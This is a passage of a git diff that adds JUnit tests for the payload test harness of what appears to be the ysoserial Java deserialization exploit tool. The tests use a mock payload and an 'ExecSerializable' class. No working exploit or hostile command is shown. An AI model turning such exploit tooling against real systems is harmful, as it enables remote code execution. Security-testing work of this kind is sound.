fails properly + @Test + public void testHarnessFail() throws Exception { + try { + testPayload(new MockPayload(1)); + Assert.fail("should have failed"); + } catch (AssertionError e) { + Assert.assertEquals(ASSERT_MESSAGE, e.getMessage()); + } + } + + // make sure test harness passes properly + @Test + public void testHarnessPass() throws Exception { + testPayload(new MockPayload(new ExecSerializable())); + } +} diff --git a/ysoserial.png b/ysoserial.png new file mode 100644 index 0000000..e707c87 Binary files /dev/null and b/ysoserial.png differ